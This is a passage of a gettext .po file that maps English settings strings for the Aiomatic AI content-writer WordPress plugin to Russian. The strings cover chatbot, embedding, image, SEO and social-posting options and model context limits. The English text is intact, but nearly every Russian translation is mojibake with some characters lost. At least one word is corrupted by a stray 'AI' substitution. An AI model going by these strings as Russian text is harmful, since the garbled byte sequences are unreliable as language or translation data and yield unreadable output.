Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, например: 400 пикÑелей." #: res/aiomatic-spinner-list.php:1858 #, php-format msgid "" "Select the minimum number of characters that the content additional content " "should have. If the API returns content which has fewer characters than this " "number, another API call will be made, until this character limit is met. " "Please check about API rate limiting here." msgstr "" "Выберите минимальное количеÑтво Ñимволов, которое должно быть в " "дополнительном Контенте. ЕÑли API возвращает Ñодержимое, в котором меньше " "Ñимволов, чем Ñто чиÑло, будет выполнен еще один вызов API, пока не будет " "доÑтигнуто Ñто ограничение на количеÑтво Ñимволов. ПожалуйÑта, проверьте " "ограничение ÑкороÑти API здеÑÑŒ ." #: res/aiomatic-rules-list.php:1184 res/aiomatic-rules-list.php:3936 #: res/aiomatic-single-list.php:2623 #, php-format msgid "" "Select the minimum number of characters that the posts should have. If the " "API returns content which has fewer characters than this number, another API " "call will be made, until this character limit is met. Please check about API " "rate limiting here." msgstr "" "Выберите минимальное количеÑтво Ñимволов, которое должно быть в ПоÑÑ‚Ñ‹Ñ…. ЕÑли " "API возвращает Ñодержимое, в котором меньше Ñимволов, чем Ñто чиÑло, будет " "выполнен еще один вызов API, пока не будет доÑтигнуто Ñто ограничение на " "количеÑтво Ñимволов. ПожалуйÑта, проверьте ограничение ÑкороÑти API здеÑÑŒ ." #: res/aiomatic-chatbot.php:935 msgid "Select the model of the chatbot." msgstr "Выберите модель чат-бота." #: res/aiomatic-chatbot.php:4387 msgid "Select the model to be used for chatbot." msgstr "Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота." #: res/aiomatic-chatbot.php:3105 res/aiomatic-chatbot.php:3194 #: res/aiomatic-spinner-list.php:3325 res/aiomatic-spinner-list.php:3414 msgid "Select the model to be used when generating the voices." msgstr "Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð¿Ñ€Ð¸ Ñоздании голоÑов." #: aiomatic-automation.php:33 aiomatic-automation.php:70 #: aiomatic-automation.php:295 aiomatic-automation.php:365 msgid "Select the model to be used with the AI writer." msgstr "Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ñ AI Создателем." #: res/aiomatic-main.php:6952 msgid "" "Select the model you want to use for embedding content rewriting and " "optimizing." msgstr "" "Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð²ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ñ€ÐµÑ€Ð°Ð¹Ñ‚Ð¸Ð½Ð³Ð° и " "оптимизации контента." #: res/aiomatic-main.php:6663 msgid "Select the model you want to use for embeddings." msgstr "Выберите модель, которую хотите иÑпользовать Ð´Ð»Ñ Ð²ÑтраиваниÑ." #: res/aiomatic-main.php:7105 msgid "" "Select the model you want to use for keyword extraction, for internet search " "results." msgstr "" "Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов " "Ð´Ð»Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð² поиÑка в Интернете." #: res/aiomatic-main.php:7932 msgid "" "Select the model you want to use for keyword extraction, for royalty free " "image importing." msgstr "" "Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов," " Ð´Ð»Ñ Ð±ÐµÑплатного импорта изображений." #: res/aiomatic-main.php:7136 #, php-format msgid "" "Select the number of search results to add in the %%web_results%% shortcode. " "The default value for this settings is : 3" msgstr "" "Выберите количеÑтво результатов поиÑка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Шорткоде " "%%web_results%%. Значение по умолчанию Ð´Ð»Ñ Ñтих ÐаÑтроек: 3" #: aiomatic-automation.php:1130 msgid "" "Select the numeric ID of the author that you want to assign for the " "automatically generated posts." msgstr "" "Выберите цифровой идентификатор автора, который вы хотите назначить Ð´Ð»Ñ " "автоматичеÑки Ñоздаваемых поÑтов." #: res/aiomatic-chatbot.php:3240 res/aiomatic-spinner-list.php:3460 msgid "Select the output format to be used when generating the text to speech." msgstr "" "Выберите выходной формат, который будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ преобразовании " "текÑта в речь." #: aiomatic-automation.php:742 aiomatic-automation.php:773 #: aiomatic-automation.php:999 msgid "" "Select the page associated with your App ID, where you want to publish your " "posts." msgstr "" "Выберите Ñтраницу, ÑвÑзанную Ñ Ð²Ð°ÑˆÐ¸Ð¼ идентификатором приложениÑ, на которой " "вы хотите публиковать Ñвои поÑÑ‚Ñ‹." #: res/aiomatic-chatbot.php:3759 msgid "Select the persona name color for the input field. Default is #3c434a" msgstr "Выберите цвет имени перÑонажа Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #3c434a." #: res/aiomatic-chatbot.php:3775 msgid "Select the persona role color for the input field. Default is #3c434a" msgstr "Выберите цвет роли перÑонажа Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #3c434a." #: res/aiomatic-chatbot.php:1904 res/aiomatic-chatbot.php:3743 msgid "Select the placeholder color for the input field. Default is #e1e3e6" msgstr "Выберите цвет Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #e1e3e6." #: res/aiomatic-main.php:3621 msgid "Select the placeholder text of the form output." msgstr "Выберите текÑÑ‚-заполнитель выходных данных формы." #: res/aiomatic-review-list.php:825 res/aiomatic-review-list.php:3404 #: res/aiomatic-single-list.php:6330 msgid "Select the point of view of the article." msgstr "Выберите точку Ð·Ñ€ÐµÐ½Ð¸Ñ Ñтатьи." #: res/aiomatic-amazon-list.php:1359 res/aiomatic-amazon-list.php:3910 #: res/aiomatic-review-list.php:1428 res/aiomatic-review-list.php:4063 #: res/aiomatic-rules-list.php:1561 res/aiomatic-rules-list.php:4311 #: res/aiomatic-youtube-list.php:1315 res/aiomatic-youtube-list.php:3821 msgid "" "Select the post category that you want for the automatically generated posts " "to have." msgstr "" "Выберите категорию ПоÑта, который вы хотите Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки " "Ñгенерированных ПоÑтов иметь." #: res/aiomatic-amazon-list.php:1486 res/aiomatic-amazon-list.php:4063 #: res/aiomatic-review-list.php:1555 res/aiomatic-review-list.php:4216 #: res/aiomatic-rules-list.php:1688 res/aiomatic-rules-list.php:4464 #: res/aiomatic-youtube-list.php:1442 res/aiomatic-youtube-list.php:3974 msgid "" "Select the post tags that you want for the automatically generated posts to " "have. Spintax supported." msgstr "" "Выберите теги ПоÑтов, которые вы хотите иÑпользовать Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки " "Ñгенерированных ПоÑтов. Ð¡Ð¿Ð¸Ð½Ñ‚Ð°ÐºÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ." #: res/aiomatic-main.php:6818 msgid "" "Select the post types for which you want to enable embeddings auto indexing." msgstr "" "Выберите типы поÑтов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… вы хотите включить автоматичеÑкую " "индекÑацию вÑтраиваниÑ." #: res/aiomatic-single-list.php:954 msgid "" "Select the posting mode you want to use. This will be equivalent with the " "posting modes available in the plugins Bulk Post Creator menu." msgstr "" "Выберите режим поÑтинга, который вы хотите иÑпользовать. Это будет " "Ñквивалентно режимам поÑтинга, доÑтупным в меню плагина Bulk Post Creator." #: res/aiomatic-main.php:4529 msgid "" "Select the quality of the compressed images. Accepted values: 1-100. 1 is " "lowest quality, 100 is highest quality. If you want to disable this feature, " "leave this field blank. This feature will work only if you copy AI generated " "images from their original sources. Default is 75." msgstr "" "Выберите качеÑтво Ñжатых изображений. ДопуÑтимые значениÑ: 1-100. 1 – Ñамое " "низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите отключить Ñту " "функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том " "Ñлучае, еÑли вы Ñкопируете изображениÑ, Ñозданные AI, из иÑходных иÑточников." " По умолчанию 75." #: res/aiomatic-main.php:7537 msgid "" "Select the quality of the resized images. Accepted values: 1-100. 1 is " "lowest quality, 100 is highest quality. If you want to disable this feature, " "leave this field blank." msgstr "" "Выберите качеÑтво изображений Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ размером. ДопуÑтимые значениÑ: 1-" "100. 1 – Ñамое низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите " "отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-main.php:2980 msgid "" "Select the quality of the resized images. Accepted values: 1-100. 1 is " "lowest quality, 100 is highest quality. If you want to disable this feature, " "leave this field blank. This feature will work only if you copy AI generated " "images from their original sources." msgstr "" "Выберите качеÑтво изображений Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ размером. ДопуÑтимые значениÑ: 1-" "100. 1 – Ñамое низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите " "отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать " "только в том Ñлучае, еÑли вы Ñкопируете изображениÑ, Ñозданные AI, из " "иÑходных иÑточников." #: aiomatic-automation.php:205 msgid "Select the query type you want to search for the article full content." msgstr "" "Выберите тип запроÑа, по которому вы хотите найти полное Ñодержание Ñтатьи." #: aiomatic-automation.php:1064 msgid "" "Select the request method you want to use, when sending the data to the " "webhook." msgstr "" "Выберите метод запроÑа, который вы хотите иÑпользовать при отправке данных в " "вебхук." #: res/aiomatic-amazon-list.php:1629 res/aiomatic-amazon-list.php:4188 #: res/aiomatic-review-list.php:1698 res/aiomatic-review-list.php:4341 #: res/aiomatic-rules-list.php:1827 res/aiomatic-rules-list.php:4577 #: res/aiomatic-single-list.php:2295 res/aiomatic-single-list.php:3045 #: res/aiomatic-single-list.php:4298 res/aiomatic-single-list.php:5612 #: res/aiomatic-single-list.php:6978 res/aiomatic-youtube-list.php:1585 #: res/aiomatic-youtube-list.php:4099 msgid "" "Select the search query repetition mode, when searching royalty free images." msgstr "" "Выберите режим Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð¸Ñкового запроÑа при поиÑке беÑплатных " "изображений." #: res/aiomatic-amazon-list.php:1709 res/aiomatic-amazon-list.php:4282 #: res/aiomatic-review-list.php:1778 res/aiomatic-review-list.php:4435 #: res/aiomatic-rules-list.php:1907 res/aiomatic-rules-list.php:4671 #: res/aiomatic-single-list.php:2374 res/aiomatic-single-list.php:3124 #: res/aiomatic-single-list.php:4377 res/aiomatic-single-list.php:5691 #: res/aiomatic-single-list.php:7057 res/aiomatic-youtube-list.php:1665 #: res/aiomatic-youtube-list.php:4193 msgid "Select the size of the generated image." msgstr "Выберите размер Ñгенерированного изображениÑ." #: aiomatic-automation.php:502 res/aiomatic-main.php:5973 msgid "Select the source language of the translation." msgstr "Выберите иÑходный Ñзык перевода." #: res/aiomatic-spinner-list.php:1373 msgid "Select the source of the created featured images." msgstr "Выберите иÑточник Ñозданных избранных изображений." #: res/aiomatic-rules-list.php:1246 res/aiomatic-rules-list.php:3993 #: res/aiomatic-single-list.php:2685 msgid "" "Select the source of the post title. If you select AI generated, the plugin " "will create an AI generated title based on keywords you enter in the 'Post " "Title List' settings field. Otherwise, it will use the titles listed there, " "for the created posts." msgstr "" "Выберите иÑточник заголовка ПоÑÑ‚Ñ‹. ЕÑли вы выберете «Создано AI», Плагин " "ÑоздаÑÑ‚ Заголовок, Ñгенерированный AI, на оÑнове Ключевых Слов, которые вы " "введете в поле ÐаÑтроек «СпиÑок Заголовоков публикации». Ð’ противном Ñлучае " "он будет иÑпользовать перечиÑленные там заголовки Ð´Ð»Ñ Ñозданных ПоÑтов." #: aiomatic-automation.php:1136 res/aiomatic-amazon-list.php:1917 #: res/aiomatic-amazon-list.php:4490 res/aiomatic-csv-list.php:366 #: res/aiomatic-csv-list.php:1493 res/aiomatic-review-list.php:1986 #: res/aiomatic-review-list.php:4643 res/aiomatic-rules-list.php:2115 #: res/aiomatic-rules-list.php:4879 res/aiomatic-youtube-list.php:1888 #: res/aiomatic-youtube-list.php:4418 msgid "" "Select the status that you want for the automatically generated posts to " "have." msgstr "" "Выберите ÑтатуÑ, который вы хотите иметь Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных " "ПоÑтов." #: res/aiomatic-main.php:5392 msgid "" "Select the taxonomies which you want to be affected by the manual taxonomy " "writing process." msgstr "" "Выберите такÑономии, которые вы хотите затронуть в процеÑÑе ручного ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "такÑономии." #: res/aiomatic-main.php:6850 #, php-format msgid "" "Select the template of the embedding which will be saved in the database. " "You can use the following shortcodes: %%post_title%%, %%post_content%%, " "%%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field " "is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%" msgstr "" "Выберите шаблон вÑтраиваниÑ, который будет Ñохранен в базе данных. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, " "%%post_excerpt%%, %%post_url%%, %%post_id%%. Значение по умолчанию Ð´Ð»Ñ Ñтого " "полÑ: %%post_title%% -- %%post_excerpt%% -- Подробнее Ñм.: %%post_url%%" #: res/aiomatic-chatbot.php:1888 res/aiomatic-chatbot.php:3727 msgid "Select the text color for the input field. Default is #e1e3e6" msgstr "Выберите цвет текÑта Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #e1e3e6." #: res/aiomatic-main.php:3654 msgid "Select the text color of the form." msgstr "Выберите Цвет текÑта Формы." #: res/aiomatic-chatbot.php:1968 res/aiomatic-chatbot.php:3807 msgid "Select the text color of the submit button. Default is #55a7e2" msgstr "Выберите Цвет текÑта кнопки отправки. По умолчанию # 55a7e2" #: res/aiomatic-limits-statistics.php:845 #: res/aiomatic-limits-statistics.php:976 #: res/aiomatic-limits-statistics.php:1139 #: res/aiomatic-limits-statistics.php:1303 #: res/aiomatic-limits-statistics.php:1448 msgid "Select the time frame for which to apply the above limitation." msgstr "" "Выберите временной интервал, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ будет применÑÑ‚ÑŒÑÑ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ðµ выше " "ограничение." #: aiomatic-automation.php:1142 res/aiomatic-amazon-list.php:1938 #: res/aiomatic-amazon-list.php:4526 res/aiomatic-csv-list.php:387 #: res/aiomatic-csv-list.php:1529 res/aiomatic-review-list.php:2007 #: res/aiomatic-review-list.php:4679 res/aiomatic-rules-list.php:2136 #: res/aiomatic-rules-list.php:4915 res/aiomatic-youtube-list.php:1909 #: res/aiomatic-youtube-list.php:4454 msgid "Select the type (post/page) for your automatically generated item." msgstr "" "Выберите Тип (ПоÑÑ‚ / Ñтраница) Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированного Ñлемента." #: res/aiomatic-limits-statistics.php:1438 msgid "Select the type of credits." msgstr "Выберите Тип кредитов." #: aiomatic-automation.php:458 msgid "Select the type of sorting of the returned results." msgstr "Выберите тип Ñортировки возвращаемых результатов." #: res/aiomatic-amazon-list.php:476 res/aiomatic-single-list.php:4684 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the 'Amazon Category' settings field." msgstr "" "Выберите тип Ñортировки возвращаемых результатов. Это будет работать только " "в том Ñлучае, еÑли вы также уÑтановите значение в поле наÑтроек Â«ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ " "Amazon»." #: res/aiomatic-amazon-list.php:3051 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the \\'Amazon Category\\' settings field." msgstr "" "Выберите тип Ñортировки возвращаемых результатов. Это будет работать только " "в том Ñлучае, еÑли вы также уÑтановите значение в поле наÑтроек Â«ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ " "Amazon»." #: res/aiomatic-limits-statistics.php:154 #: res/aiomatic-limits-statistics.php:1560 msgid "Select the user role to be restricted." msgstr "Выберите Роль ÐŸÐ¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ð¹." #: res/aiomatic-limits-statistics.php:907 #: res/aiomatic-limits-statistics.php:1201 msgid "" "Select the users who will have full access when interacting with the " "features of the plugin." msgstr "" "Выберите пользователей, которые будут иметь полный доÑтуп при взаимодейÑтвAI " "Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñми Плагина." #: res/aiomatic-chatbot.php:3215 res/aiomatic-spinner-list.php:3435 msgid "Select the voice to be used when generating the text to speech." msgstr "" "Выберите голоÑ, который будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ преобразовании текÑта в " "речь." #: res/aiomatic-spinner-list.php:4139 msgid "" "Select the way you want to schedule automatic editing of existing posts from " "your site, using the below settings." msgstr "" "Выберите ÑпоÑоб, которым вы хотите запланировать автоматичеÑкое " "редактирование ÑущеÑтвующих ПоÑтов на вашем Ñайте, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´ÐµÐ½Ð½Ñ‹Ðµ " "ниже наÑтройки." #: res/aiomatic-chatbot.php:1727 res/aiomatic-chatbot.php:3566 msgid "" "Select the width of the chatbot form. For full width, you can set 100% " "(default value). You can also set values in pixels, like: 400px" msgstr "" "Выберите ширину формы чат-бота. Ð”Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð¹ ширины можно уÑтановить 100% " "(значение по умолчанию). Ð’Ñ‹ также можете уÑтановить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, " "например: 400 пикÑелей." #: res/aiomatic-automation-list.php:2028 res/aiomatic-automation-list.php:4495 #: res/aiomatic-automation-list.php:7254 msgid "Select what type of block you want to add." msgstr "Выберите тип блока, который вы хотите добавить." #: aiomatic-automatic-ai-content-writer.php:14662 msgid "Select what type of OmniBlock you want to add." msgstr "Выберите тип OmniBlock, который вы хотите добавить." #: res/aiomatic-amazon-list.php:534 res/aiomatic-amazon-list.php:3135 #: res/aiomatic-review-list.php:461 res/aiomatic-review-list.php:3120 #: res/aiomatic-single-list.php:4742 res/aiomatic-single-list.php:5966 msgid "Select what you want to do with product titles in articles." msgstr "Выберите, что вы хотите делать Ñ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñми продуктов в ÑтатьÑÑ…." #: res/aiomatic-rules-list.php:467 res/aiomatic-rules-list.php:3287 #: res/aiomatic-single-list.php:1420 res/aiomatic-single-list.php:3408 #: res/aiomatic-youtube-list.php:470 res/aiomatic-youtube-list.php:3020 msgid "Select what you want to do with sections in articles." msgstr "Выберите, что вы хотите Ñделать Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð°Ð¼Ð¸ в СтатьÑÑ…." #: res/aiomatic-spinner-list.php:3910 msgid "Select when do you want to automatically process posts." msgstr "Выберите, когда вы хотите автоматичеÑки обрабатывать ПоÑÑ‚Ñ‹." #: res/aiomatic-spinner-list.php:3746 msgid "" "Select where you want to copy audio/video files. You can copy the files also " "to a cloud storage, using this extension: " msgstr "" "Выберите, куда вы хотите Ñкопировать аудио/видео файлы. Ð’Ñ‹ также можете " "Ñкопировать файлы в облачное хранилище, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñто раÑширение:" #: res/aiomatic-chatbot.php:1425 res/aiomatic-chatbot.php:4522 msgid "Select where you want to show the embedded chatbot." msgstr "Выберите, где вы хотите показать вÑтроенный чат-бот." #: res/aiomatic-embeddings.php:599 res/aiomatic-spinner-list.php:4647 msgid "" "Select which posts should be processed - posts with or without featured " "images." msgstr "" "Выберите, какие ПоÑÑ‚Ñ‹ должны быть обработаны — ПоÑÑ‚Ñ‹ Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ð¼Ð¸ " "изображениÑми или без них." #: res/aiomatic-main.php:7782 msgid "" "Select your prefered order in which you want to search royalty free image " "sources." msgstr "" "Выберите предпочтительный порÑдок, в котором вы хотите иÑкать иÑточники " "изображений без лицензионных отчиÑлений." #: res/aiomatic-main.php:6334 msgid "" "Send An Email Notification When A Specific Rule Has Depleted Its " "Keywords/Topics:" msgstr "" "Отправить уведомление по Ñлектронной почте, когда определенное правило " "иÑчерпало Ñвои Ключевые Ñлова / Темы:" #: res/aiomatic-main.php:5824 msgid "Send Rule Running Summary in Email:" msgstr "Отправить Сводку Ð’Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ ÐŸÑ€Ð°Ð²Ð¸Ð» на Email:" #: aiomatic-automation.php:672 msgid "Sends an email to your desired email address" msgstr "ОтправлÑет Ñлектронное пиÑьмо на желаемый Ð°Ð´Ñ€ÐµÑ Ñлектронной почты" #: aiomatic-automation.php:1049 msgid "Sends content to a webhook" msgstr "ОтправлÑет контент в вебхук" #: aiomatic-automation.php:821 msgid "Sends pins to Pinterest boards" msgstr "ОтправлÑет пины на доÑки Pinterest." #: aiomatic-automation.php:765 msgid "Sends posts to Facebook pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы Facebook" #: aiomatic-automation.php:891 msgid "Sends posts to Google My Business pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы Google My Business." #: aiomatic-automation.php:796 msgid "Sends posts to Instagram pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы Instagram" #: aiomatic-automation.php:991 msgid "Sends posts to LinkedIn pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы LinkedIn." #: aiomatic-automation.php:953 msgid "Sends posts to Reddit subreddits" msgstr "ОтправлÑет поÑÑ‚Ñ‹ в Ñубреддиты Reddit." #: aiomatic-automation.php:866 msgid "Sends posts to X (Twitter) pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на X Ñтраниц (Twitter)." #: aiomatic-automation.php:922 msgid "Sends posts to YouTube Community pages" msgstr "ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы ÑообщеÑтва YouTube." #: aiomatic-automation.php:734 msgid "Sends text/link posts to Facebook pages" msgstr "ОтправлÑет текÑтовые ÑообщениÑ/ÑÑылки на Ñтраницы Facebook." #: res/aiomatic-spinner-list.php:2775 msgid "SEO Meta Description Options:" msgstr "Параметры Мета-ОпиÑÐ°Ð½Ð¸Ñ SEO:" #: res/admin/ai-post-gutenberg.php:166 res/admin/ai-post.php:159 msgid "SEO Meta Description Prompt" msgstr "Промпт Мета-опиÑÐ°Ð½Ð¸Ñ SEO" #: aiomatic-automatic-ai-content-writer.php:15402 msgid "Separate Post Source with commas" msgstr "Отделённые иÑточники ПоÑтов Ñ Ð·Ð°Ð¿Ñтыми" #: res/aiomatic-single-list.php:613 res/aiomatic-single-list.php:7399 msgid "Separate tags with commas" msgstr "Ðеобходимо РазделÑÑ‚ÑŒ запÑтыми." #: res/aiomatic-amazon-list.php:132 res/aiomatic-review-list.php:132 #: res/aiomatic-rules-list.php:132 res/aiomatic-single-list.php:132 #: res/aiomatic-single-list.php:270 res/aiomatic-youtube-list.php:132 msgid "Sepedi" msgstr "Сепеди" #: res/aiomatic-languages.php:133 msgid "Sepedi (Google Translate)" msgstr "Сепеди (Переводчик Google)" #: res/aiomatic-amazon-list.php:47 res/aiomatic-review-list.php:47 #: res/aiomatic-rules-list.php:47 res/aiomatic-single-list.php:47 #: res/aiomatic-single-list.php:185 res/aiomatic-youtube-list.php:47 msgid "Serbian" msgstr "ÑербÑкий" #: res/aiomatic-languages.php:46 msgid "Serbian (Google Translate)" msgstr "СербÑкий (переводчик Google)" #: res/aiomatic-main.php:2273 msgid "" "SerpAPI API Key (Optional) (Used for Related Headings & AI Internet Access)" msgstr "" "Ключ API SerpAPI (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ ÑвÑзанных Заголовоков и " "доÑтупа в Интернет Ð´Ð»Ñ AI)" #: res/aiomatic-main.php:2278 msgid "SerpAPI Key (optional)" msgstr "Ключ SerpAPI (необÑзательно)" #: res/aiomatic-main.php:2262 msgid "SerpAPI:" msgstr "SerpAPI:" #: res/aiomatic-logs.php:388 msgid "SERVER" msgstr "СЕРВЕР" #: res/aiomatic-logs.php:171 res/aiomatic-logs.php:175 msgid "Server Environment" msgstr "Ð¡ÐµÑ€Ð²ÐµÑ€Ð½Ð°Ñ Ð¡Ñ€ÐµÐ´Ð°" #: res/aiomatic-amazon-list.php:98 res/aiomatic-review-list.php:98 #: res/aiomatic-rules-list.php:98 res/aiomatic-single-list.php:98 #: res/aiomatic-single-list.php:236 res/aiomatic-youtube-list.php:98 msgid "Sesotho" msgstr "СеÑото" #: res/aiomatic-languages.php:98 msgid "Sesotho (Google Translate)" msgstr "СеÑото (переводчик Google)" #: res/aiomatic-limits-statistics.php:710 msgid "Session ID" msgstr "СеÑÑÐ¸Ñ ID" #: res/aiomatic-limits-statistics.php:489 msgid "Session ID: The ID of the session in which the request was made." msgstr "Session ID: идентификатор ÑеанÑа, в котором был Ñделан запроÑ." #: res/aiomatic-spinner-list.php:1506 msgid "" "Set a comma sepatated list of images to assign to posts. You can also use " "the AI to select the best matching image (basd on keywords from image name " "and URL)." msgstr "" "УÑтановите ÑпиÑок изображений, разделенных запÑтыми, Ð´Ð»Ñ Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñтам. " "Ð’Ñ‹ также можете иÑпользовать AI, чтобы выбрать наиболее подходÑщее " "изображение (на оÑнове ключевых Ñлов из имени Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ URL-адреÑа)." #: res/aiomatic-spinner-list.php:2768 msgid "Set a Custom Comment Date Range:" msgstr "УÑтановите пользовательÑкий диапазон дат комментариев:" #: res/aiomatic-amazon-list.php:4656 res/aiomatic-csv-list.php:1676 #: res/aiomatic-review-list.php:4809 res/aiomatic-rules-list.php:5045 #: res/aiomatic-youtube-list.php:4584 msgid "Set a Custom Post Publish Date Range" msgstr "УÑтановите наÑтраиваемый диапазон дат публикации ПоÑтов" #: res/aiomatic-amazon-list.php:2046 res/aiomatic-csv-list.php:510 #: res/aiomatic-review-list.php:2115 res/aiomatic-rules-list.php:2244 #: res/aiomatic-youtube-list.php:2017 msgid "Set a Custom Post Publish Date Range:" msgstr "УÑтановите наÑтраиваемый диапазон дат публикации публикации:" #: res/aiomatic-main.php:4997 msgid "" "Set a hardcoded context window limit for the Claude 200k models. If you " "don't set this, the default 200000 token limit will be used." msgstr "" "УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ " "моделей Claude 200k. ЕÑли вы не уÑтановите Ñто значение, будет " "иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ токенов по умолчанию в 200 000." #: res/aiomatic-main.php:4981 msgid "" "Set a hardcoded context window limit for the Claude models. If you don't set " "this, the default 100000 token limit will be used." msgstr "" "УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ " "моделей Claude. ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ " "лимит токенов по умолчанию в 100 000." #: res/aiomatic-main.php:4949 msgid "" "Set a hardcoded context window limit for the gpt-3.5-turbo-1106 model. If " "you don't set this, the default 16385 token limit will be used." msgstr "" "УÑтановите жеÑтко закодированное ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ " "gpt-3.5-turbo-1106. ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ " "лимит токенов по умолчанию — 16385." #: res/aiomatic-main.php:4965 msgid "" "Set a hardcoded context window limit for the gpt-4-1106(-preview) model. If " "you don't set this, the default 128000 token limit will be used." msgstr "" "УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ " "модели gpt-4-1106(-preview). ЕÑли вы не уÑтановите Ñто значение, будет " "иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ 